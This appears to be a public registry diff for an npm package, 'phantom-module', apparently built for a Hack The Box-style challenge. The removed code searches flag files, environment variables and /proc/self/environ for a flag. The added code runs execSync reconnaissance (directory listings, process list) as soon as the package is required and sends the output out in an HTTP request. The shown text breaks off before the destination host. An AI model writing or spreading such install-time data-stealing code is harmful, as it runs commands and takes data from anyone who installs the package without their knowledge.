phantom-module 111.0.7 → 111.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +11 -53
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,63 +1,21 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
3
4
|
|
|
4
5
|
(function() {
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
'./flag.txt',
|
|
15
|
-
'/home/node/flag',
|
|
16
|
-
'/home/node/flag.txt',
|
|
17
|
-
'/home/node/aspect-node/flag',
|
|
18
|
-
'/home/node/aspect-node/flag.txt',
|
|
19
|
-
process.env.FLAG ? process.env.FLAG : null
|
|
20
|
-
].filter(Boolean);
|
|
21
|
-
|
|
22
|
-
// Also check environment variables
|
|
23
|
-
const flagEnv = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
|
|
24
|
-
|
|
25
|
-
let flag = null;
|
|
26
|
-
|
|
27
|
-
// Try reading from files
|
|
28
|
-
for (const path of flagPaths) {
|
|
29
|
-
try {
|
|
30
|
-
if (fs.existsSync(path)) {
|
|
31
|
-
flag = fs.readFileSync(path, 'utf8').trim();
|
|
32
|
-
break;
|
|
33
|
-
}
|
|
34
|
-
} catch (e) {
|
|
35
|
-
// Continue to next path
|
|
36
|
-
}
|
|
37
|
-
}
|
|
38
|
-
|
|
39
|
-
// If not found in files, check env
|
|
40
|
-
if (!flag && flagEnv) {
|
|
41
|
-
flag = flagEnv;
|
|
42
|
-
}
|
|
43
|
-
|
|
44
|
-
// If still not found, try reading /proc/self/environ
|
|
45
|
-
if (!flag) {
|
|
46
|
-
try {
|
|
47
|
-
const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
48
|
-
const match = procEnv.match(/FLAG[=:]([^\x00]+)/);
|
|
49
|
-
if (match) {
|
|
50
|
-
flag = match[1];
|
|
51
|
-
}
|
|
52
|
-
} catch (e) {}
|
|
53
|
-
}
|
|
54
|
-
|
|
55
|
-
if (!flag) {
|
|
56
|
-
flag = "NOT_FOUND_ON_REQUIRE";
|
|
6
|
+
let output = "";
|
|
7
|
+
|
|
8
|
+
try {
|
|
9
|
+
output += "=== ROOT ===\n" + execSync('ls -la /').toString() + "\n";
|
|
10
|
+
output += "=== HOME ===\n" + execSync('ls -la /home/node').toString() + "\n";
|
|
11
|
+
output += "=== APP ===\n" + execSync('ls -la /app 2>/dev/null || echo "No /app"').toString() + "\n";
|
|
12
|
+
output += "=== PS ===\n" + execSync('ps auxww 2>/dev/null || echo "No ps"').toString() + "\n";
|
|
13
|
+
} catch(e) {
|
|
14
|
+
output += "ERR: " + e.message;
|
|
57
15
|
}
|
|
58
16
|
|
|
59
17
|
const postData = JSON.stringify({
|
|
60
|
-
manifest: `ecto_module:\n name: "
|
|
18
|
+
manifest: `ecto_module:\n name: "RECON_1"\n cargo_hold: ${JSON.stringify(output.substring(0, 3000))}\n`
|
|
61
19
|
});
|
|
62
20
|
|
|
63
21
|
const req = http.request({
|
package/package.json
CHANGED